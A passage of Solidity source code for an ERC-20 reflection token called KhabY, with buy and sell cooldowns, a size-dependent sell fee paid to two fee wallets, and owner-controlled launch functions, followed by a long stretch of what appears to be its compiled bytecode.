amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract KhabY is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => User) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 8000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = unicode"KhabY | T.me/KhabYtokenETH"; string private constant _symbol = unicode"KhabY"; uint8 private constant _decimals = 9; uint256 private _taxFee = 3; uint256 private _teamFee = 3; uint256 private _feeRate = 2; uint256 private _feeMultiplier = 1000; uint256 private _launchTime; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; uint256 private _maxBuyAmount; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private _cooldownEnabled = true; bool private inSwap = false; bool private _useImpactFeeSetter = true; uint256 private buyLimitEnd; struct User { uint256 buy; uint256 sell; bool exists; } event MaxBuyAmountUpdated(uint _maxBuyAmount); event CooldownEnabledUpdated(bool _cooldown); event FeeMultiplierUpdated(uint _multiplier); event FeeRateUpdated(uint _rate); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function setFee(uint256 impactFee) private { uint256 _impactFee = 10; if(impactFee < 10) { _impactFee = 10; } else if(impactFee > 40) { _impactFee = 40; } else { _impactFee = impactFee; } if(_impactFee.mod(2) != 0) { _impactFee++; } _taxFee = (_impactFee.mul(6)).div(10); _teamFee = (_impactFee.mul(4)).div(10); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) { if(_cooldownEnabled) { if(!cooldown[msg.sender].exists) { cooldown[msg.sender] = User(0,0,true); } } // buy if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(tradingOpen, "Trading not yet enabled."); _taxFee = 4; _teamFee = 4; if(_cooldownEnabled) { if(buyLimitEnd > block.timestamp) { require(amount <= _maxBuyAmount); require(cooldown[to].buy < block.timestamp, "Your buy cooldown has not expired."); cooldown[to].buy = block.timestamp + (15 seconds); } } if(_cooldownEnabled) { cooldown[to].sell = block.timestamp + (180 seconds); } } uint256 contractTokenBalance = balanceOf(address(this)); // sell if(!inSwap && from != uniswapV2Pair && tradingOpen) { if(_cooldownEnabled) { require(cooldown[from].sell < block.timestamp, "Your sell cooldown has not expired."); } if(_useImpactFeeSetter) { uint256 feeBasis = amount.mul(_feeMultiplier); feeBasis = feeBasis.div(balanceOf(uniswapV2Pair).add(amount)); setFee(feeBasis); } if(contractTokenBalance > 0) { if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) { contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100); } swapTokensForEth(contractTokenBalance); } uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function addLiquidity() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _maxBuyAmount = 400000 * 10**9; _launchTime = block.timestamp; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function openTrading() public onlyOwner { tradingOpen = true; buyLimitEnd = block.timestamp + (60 seconds); } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } // fallback in case contract is not releasing tokens fast enough function setFeeRate(uint256 rate) external { require(_msgSender() == _FeeAddress); require(rate < 51, "Rate can't exceed 50%"); _feeRate = rate; emit FeeRateUpdated(_feeRate); } function setCooldownEnabled(bool onoff) external onlyOwner() { _cooldownEnabled = onoff; emit CooldownEnabledUpdated(_cooldownEnabled); } function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function cooldownEnabled() public view returns (bool) { return _cooldownEnabled; } function timeToBuy(address buyer) public view returns (uint) { return block.timestamp - cooldown[buyer].buy; } function timeToSell(address buyer) public view returns (uint) { return block.timestamp - cooldown[buyer].sell; } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } }
0x6080604052600436106101395760003560e01c8063715018a6116100ab578063a9fc35a91161006f578063a9fc35a914610423578063c3c8cd8014610460578063c9567bf914610477578063db92dbb61461048e578063dd62ed3e146104b9578063e8078d94146104f657610140565b8063715018a61461034e5780638da5cb5b1461036557806395d89b4114610390578063a9059cbb146103bb578063a985ceef146103f857610140565b8063313ce567116100fd578063313ce5671461024057806345596e2e1461026b5780635932ead11461029457806368a3a6a5146102bd5780636fc3eaec146102fa57806370a082311461031157610140565b806306fdde0314610145578063095ea7b31461017057806318160ddd146101ad57806323b872dd146101d857806327f3a72a1461021557610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a61050d565b6040516101679190613081565b60405180910390f35b34801561017c57600080fd5b5061019760048036038101906101929190612b8b565b61054a565b6040516101a49190613066565b60405180910390f35b3480156101b957600080fd5b506101c2610568565b6040516101cf9190613263565b60405180910390f35b3480156101e457600080fd5b506101ff60048036038101906101fa9190612b38565b610577565b60405161020c9190613066565b60405180910390f35b34801561022157600080fd5b5061022a610650565b6040516102379190613263565b60405180910390f35b34801561024c57600080fd5b50610255610660565b60405161026291906132d8565b60405180910390f35b34801561027757600080fd5b50610292600480360381019061028d9190612c25565b610669565b005b3480156102a057600080fd5b506102bb60048036038101906102b69190612bcb565b610750565b005b3480156102c957600080fd5b506102e460048036038101906102df9190612a9e565b610848565b6040516102f19190613263565b60405180910390f35b34801561030657600080fd5b5061030f61089f565b005b34801561031d57600080fd5b5061033860048036038101906103339190612a9e565b610911565b6040516103459190613263565b60405180910390f35b34801561035a57600080fd5b50610363610962565b005b34801561037157600080fd5b5061037a610ab5565b6040516103879190612f98565b60405180910390f35b34801561039c57600080fd5b506103a5610ade565b6040516103b29190613081565b60405180910390f35b3480156103c757600080fd5b506103e260048036038101906103dd9190612b8b565b610b1b565b6040516103ef9190613066565b60405180910390f35b34801561040457600080fd5b5061040d610b39565b60405161041a9190613066565b60405180910390f35b34801561042f57600080fd5b5061044a60048036038101906104459190612a9e565b610b50565b6040516104579190613263565b60405180910390f35b34801561046c57600080fd5b50610475610ba7565b005b34801561048357600080fd5b5061048c610c21565b005b34801561049a57600080fd5b506104a3610ce5565b6040516104b09190613263565b60405180910390f35b3480156104c557600080fd5b506104e060048036038101906104db9190612af8565b610d17565b6040516104ed9190613263565b60405180910390f35b34801561050257600080fd5b5061050b610d9e565b005b60606040518060400160405280601a81526020017f4b68616259207c20542e6d652f4b68616259746f6b656e455448000000000000815250905090565b600061055e6105576112ab565b84846112b3565b6001905092915050565b6000661c6bf526340000905090565b600061058484848461147e565b610645846105906112ab565b61064085604051806060016040528060288152602001613a1d60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105f66112ab565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d489092919063ffffffff16565b6112b3565b600190509392505050565b600061065b30610911565b905090565b60006009905090565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166106aa6112ab565b73ffffffffffffffffffffffffffffffffffffffff16146106ca57600080fd5b6033811061070d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161070490613143565b60405180910390fd5b80600b819055507f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8600b546040516107459190613263565b60405180910390a150565b6107586112ab565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107dc906131a3565b60405180910390fd5b80601460156101000a81548160ff0219169083151502179055507f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f28706601460159054906101000a900460ff1660405161083d9190613066565b60405180910390a150565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154426108989190613429565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108e06112ab565b73ffffffffffffffffffffffffffffffffffffffff161461090057600080fd5b600047905061090e81611dac565b50565b600061095b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ea7565b9050919050565b61096a6112ab565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ee906131a3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f4b68616259000000000000000000000000000000000000000000000000000000815250905090565b6000610b2f610b286112ab565b848461147e565b6001905092915050565b6000601460159054906101000a900460ff16905090565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015442610ba09190613429565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610be86112ab565b73ffffffffffffffffffffffffffffffffffffffff1614610c0857600080fd5b6000610c1330610911565b9050610c1e81611f15565b50565b610c296112ab565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cb6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cad906131a3565b60405180910390fd5b60016014806101000a81548160ff021916908315150217905550603c42610cdd9190613348565b601581905550565b6000610d12601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610911565b905090565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610da66112ab565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2a906131a3565b60405180910390fd5b60148054906101000a900460ff1615610e81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7890613223565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f0f30601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16661c6bf5263400006112b3565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610f5557600080fd5b505afa158015610f69573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f8d9190612acb565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610fef57600080fd5b505afa158015611003573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110279190612acb565b6040518363ffffffff1660e01b8152600401611044929190612fb3565b602060405180830381600087803b15801561105e57600080fd5b505af1158015611072573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110969190612acb565b601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061111f30610911565b60008061112a610ab5565b426040518863ffffffff1660e01b815260040161114c96959493929190613005565b6060604051808303818588803b15801561116557600080fd5b505af1158015611179573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061119e9190612c52565b50505066016bcc41e9000060108190555042600d81905550601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611255929190612fdc565b602060405180830381600087803b15801561126f57600080fd5b505af1158015611283573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112a79190612bf8565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611323576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131a90613203565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611393576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138a906130e3565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114719190613263565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e5906131e3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561155e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611555906130a3565b60405180910390fd5b600081116115a1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611598906131c3565b60405180910390fd5b6115a9610ab5565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561161757506115e7610ab5565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c8557601460159054906101000a900460ff161561171d57600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020160009054906101000a900460ff1661171c576040518060600160405280600081526020016000815260200160011515815250600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082015181600001556020820151816001015560408201518160020160006101000a81548160ff0219169083151502179055509050505b5b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117c85750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561181e5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119f15760148054906101000a900460ff16611870576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161186790613243565b60405180910390fd5b60046009819055506004600a81905550601460159054906101000a900460ff161561198757426015541115611986576010548111156118ae57600080fd5b42600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015410611932576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192990613103565b60405180910390fd5b600f4261193f9190613348565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055505b5b601460159054906101000a900460ff16156119f05760b4426119a99190613348565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055505b5b60006119fc30610911565b9050601460169054906101000a900460ff16158015611a695750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a7f575060148054906101000a900460ff165b15611c8357601460159054906101000a900460ff1615611b1e5742600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015410611b1d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b1490613163565b60405180910390fd5b5b601460179054906101000a900460ff1615611ba8576000611b4a600c548461219d90919063ffffffff16565b9050611b9b611b8c84611b7e601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610911565b61221890919063ffffffff16565b8261227690919063ffffffff16565b9050611ba6816122c0565b505b6000811115611c6957611c036064611bf5600b54611be7601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610911565b61219d90919063ffffffff16565b61227690919063ffffffff16565b811115611c5f57611c5c6064611c4e600b54611c40601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610911565b61219d90919063ffffffff16565b61227690919063ffffffff16565b90505b611c6881611f15565b5b60004790506000811115611c8157611c8047611dac565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611d2c5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611d3657600090505b611d4284848484612377565b50505050565b6000838311158290611d90576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d879190613081565b60405180910390fd5b5060008385611d9f9190613429565b9050809150509392505050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611dfc60028461227690919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611e27573d6000803e3d6000fd5b50601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611e7860028461227690919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611ea3573d6000803e3d6000fd5b5050565b6000600754821115611eee576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ee5906130c3565b60405180910390fd5b6000611ef86123a4565b9050611f0d818461227690919063ffffffff16565b915050919050565b6001601460166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611f4d57611f4c6135fe565b5b604051908082528060200260200182016040528015611f7b5781602001602082028036833780820191505090505b5090503081600081518110611f9357611f926135cf565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561203557600080fd5b505afa158015612049573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061206d9190612acb565b81600181518110612081576120806135cf565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506120e830601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112b3565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161214c95949392919061327e565b600060405180830381600087803b15801561216657600080fd5b505af115801561217a573d6000803e3d6000fd5b50505050506000601460166101000a81548160ff02191690831515021790555050565b6000808314156121b05760009050612212565b600082846121be91906133cf565b90508284826121cd919061339e565b1461220d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161220490613183565b60405180910390fd5b809150505b92915050565b60008082846122279190613348565b90508381101561226c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161226390613123565b60405180910390fd5b8091505092915050565b60006122b883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506123cf565b905092915050565b6000600a9050600a8210156122d857600a90506122ef565b60288211156122ea57602890506122ee565b8190505b5b600061230560028361243290919063ffffffff16565b14612319578080612315906134f7565b9150505b612340600a61233260068461219d90919063ffffffff16565b61227690919063ffffffff16565b60098190555061236d600a61235f60048461219d90919063ffffffff16565b61227690919063ffffffff16565b600a819055505050565b806123855761238461247c565b5b6123908484846124bf565b8061239e5761239d61268a565b5b50505050565b60008060006123b161269e565b915091506123c8818361227690919063ffffffff16565b9250505090565b60008083118290612416576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161240d9190613081565b60405180910390fd5b5060008385612425919061339e565b9050809150509392505050565b600061247483836040518060400160405280601881526020017f536166654d6174683a206d6f64756c6f206279207a65726f00000000000000008152506126fa565b905092915050565b600060095414801561249057506000600a54145b1561249a576124bd565b600954600e81905550600a54600f8190555060006009819055506000600a819055505b565b6000806000806000806124d187612758565b95509550955095509550955061252f86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127c090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506125c485600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461221890919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126108161280a565b61261a84836128c7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516126779190613263565b60405180910390a3505050505050505050565b600e54600981905550600f54600a81905550565b600080600060075490506000661c6bf52634000090506126d0661c6bf52634000060075461227690919063ffffffff16565b8210156126ed57600754661c6bf5263400009350935050506126f6565b81819350935050505b9091565b6000808314158290612742576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127399190613081565b60405180910390fd5b50828461274f9190613540565b90509392505050565b60008060008060008060008060006127758a600954600a54612901565b92509250925060006127856123a4565b905060008060006127988e878787612997565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061280283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d48565b905092915050565b60006128146123a4565b9050600061282b828461219d90919063ffffffff16565b905061287f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461221890919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6128dc826007546127c090919063ffffffff16565b6007819055506128f78160085461221890919063ffffffff16565b6008819055505050565b60008060008061292d606461291f888a61219d90919063ffffffff16565b61227690919063ffffffff16565b905060006129576064612949888b61219d90919063ffffffff16565b61227690919063ffffffff16565b9050600061298082612972858c6127c090919063ffffffff16565b6127c090919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806129b0858961219d90919063ffffffff16565b905060006129c7868961219d90919063ffffffff16565b905060006129de878961219d90919063ffffffff16565b90506000612a07826129f985876127c090919063ffffffff16565b6127c090919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081359050612a2f816139d7565b92915050565b600081519050612a44816139d7565b92915050565b600081359050612a59816139ee565b92915050565b600081519050612a6e816139ee565b92915050565b600081359050612a8381613a05565b92915050565b600081519050612a9881613a05565b92915050565b600060208284031215612ab457612ab361362d565b5b6000612ac284828501612a20565b91505092915050565b600060208284031215612ae157612ae061362d565b5b6000612aef84828501612a35565b91505092915050565b60008060408385031215612b0f57612b0e61362d565b5b6000612b1d85828601612a20565b9250506020612b2e85828601612a20565b9150509250929050565b600080600060608486031215612b5157612b5061362d565b5b6000612b5f86828701612a20565b9350506020612b7086828701612a20565b9250506040612b8186828701612a74565b9150509250925092565b60008060408385031215612ba257612ba161362d565b5b6000612bb085828601612a20565b9250506020612bc185828601612a74565b9150509250929050565b600060208284031215612be157612be061362d565b5b6000612bef84828501612a4a565b91505092915050565b600060208284031215612c0e57612c0d6